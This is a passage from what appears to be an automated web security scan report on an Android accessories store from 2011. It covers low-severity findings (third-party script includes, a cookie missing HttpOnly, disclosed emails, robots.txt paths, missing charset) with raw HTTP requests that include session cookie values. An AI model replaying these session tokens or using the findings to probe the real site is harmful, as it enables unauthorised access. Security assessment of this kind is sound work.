User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.60.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:05:14 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Accel-Expires: 0
Content-Length: 84595

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<div style='text-align:center;margin: 5px 0 10px 10px;float:right;'><script type='text/javascript' src='https://static-na.payments-amazon.com/cba/js/us/PaymentWidgets.js'></script>
...[SNIP]...

3.3. http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /jabra-bt2080-bluetooth-headset/9A32A5717.htm

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /jabra-bt2080-bluetooth-headset/9A32A5717.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/motorola-droid-x-bluetooth.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.54.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:49 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 60867

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
</div>
<script type='text/javascript' src='http://s7.addthis.com/js/250/addthis_widget.js#username=smartphoneexperts'></script>
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __utmv=261175122.www.androidcentral.com; __utmz=264115932.1305033302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=264115932.940324915.1305033302.1305033302.1305033302.1; __qca=P0-1090520878-1305033302529

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:14 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: PHPSESSID=ksfbio4jscan2ar59j714rhab5; expires=Fri, 10-Jun-2011 14:04:14 GMT; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: visitor_id=d5797e0d3a18f60a48b875a9679a28ba; expires=Sun, 08-May-2016 14:04:14 GMT; path=/
Set-Cookie: device_id_history=0; path=/; httponly
Content-Length: 83431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

5. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


5.1. http://store.androidcentral.com/content/customercare/index.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /content/customercare/index.htm

Issue detail

The following email addresses were disclosed in the response:

Request

GET /content/customercare/index.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.12.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:16 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 23990

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<a class='underline' href='mailto:officeofthepresident@androidcentral.com'>
...[SNIP]...
<a class='underline' href='mailto:sales@androidcentral.com'>
...[SNIP]...

5.2. http://store.androidcentral.com/javascripts/spe-v3.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /javascripts/spe-v3.js

Issue detail

The following email address was disclosed in the response:

Request

GET /javascripts/spe-v3.js HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __utmv=261175122.www.androidcentral.com; __utmz=264115932.1305033302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=264115932.940324915.1305033302.1305033302.1305033302.1; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; device_id_history=0

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:01:32 GMT
Content-Type: application/x-javascript
Last-Modified: Wed, 13 Apr 2011 05:02:57 GMT
Connection: keep-alive
Expires: Tue, 10 May 2011 15:01:32 GMT
Cache-Control: max-age=3600
Content-Length: 176268

/******************************************************************************
Name: Highslide JS
Version: 4.1.2 (March 27 2009)
Config: default +events +unobtrusive +imagemap +slideshow +posi
...[SNIP]...
<brian@cherne.net>
...[SNIP]...

6. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /external_marketing/js_a_v1.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: store.androidcentral.com

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 13:33:35 GMT
Content-Type: text/plain
Connection: close

User-agent: *
Disallow: /v2_process/
Disallow: /v2_templates/
Disallow: /v3_templates/


7. HTML does not specify charset  previous
There are 10 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


7.1. http://store.androidcentral.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /

Request

GET / HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __utmv=261175122.www.androidcentral.com; __utmz=264115932.1305033302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=264115932.940324915.1305033302.1305033302.1305033302.1; __qca=P0-1090520878-1305033302529

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:14 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: PHPSESSID=ksfbio4jscan2ar59j714rhab5; expires=Fri, 10-Jun-2011 14:04:14 GMT; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: visitor_id=d5797e0d3a18f60a48b875a9679a28ba; expires=Sun, 08-May-2016 14:04:14 GMT; path=/
Set-Cookie: device_id_history=0; path=/; httponly
Content-Length: 83431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

7.2. http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /belkin-headphone-splitter-y-adapter/11A75A6767.htm

Request

GET /belkin-headphone-splitter-y-adapter/11A75A6767.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/motorola-droid-x-headsets.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.36.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:39 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 58651

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

7.3. http://store.androidcentral.com/cart.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /cart.htm

Request

GET /cart.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.60.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:05:14 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Accel-Expires: 0
Content-Length: 84595

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

7.4. http://store.androidcentral.com/content/customercare/index.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /content/customercare/index.htm

Request

GET /content/customercare/index.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.12.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:16 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 23990

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

7.5. http://store.androidcentral.com/content/customercare/page-shipping.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /content/customercare/page-shipping.htm

Request

GET /content/customercare/page-shipping.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.42.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:41 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 25004

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

7.6. http://store.androidcentral.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __utmv=261175122.www.androidcentral.com; __utmz=264115932.1305033302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=264115932.940324915.1305033302.1305033302.1305033302.1; __qca=P0-1090520878-1305033302529

Response

HTTP/1.1 404 Not Found
Server: spe
Date: Tue, 10 May 2011 14:04:14 GMT
Content-Type: text/html
Content-Length: 564
Connection: keep-alive

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
<!-- a padding to disable MSIE and Chr
...[SNIP]...

7.7. http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /jabra-bt2080-bluetooth-headset/9A32A5717.htm

Request

GET /jabra-bt2080-bluetooth-headset/9A32A5717.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/motorola-droid-x-bluetooth.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.54.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:49 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 60867

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

7.8. http://store.androidcentral.com/motorola-droid-x-batteries.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /motorola-droid-x-batteries.htm

Request

GET /motorola-droid-x-batteries.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.24.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:36 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 40705

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

7.9. http://store.androidcentral.com/motorola-droid-x-bluetooth.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /motorola-droid-x-bluetooth.htm

Request

GET /motorola-droid-x-bluetooth.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/content/customercare/page-shipping.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.48.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:46 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 49340

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

7.10. http://store.androidcentral.com/motorola-droid-x-headsets.htm  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /motorola-droid-x-headsets.htm

Request

GET /motorola-droid-x-headsets.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/motorola-droid-x-batteries.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
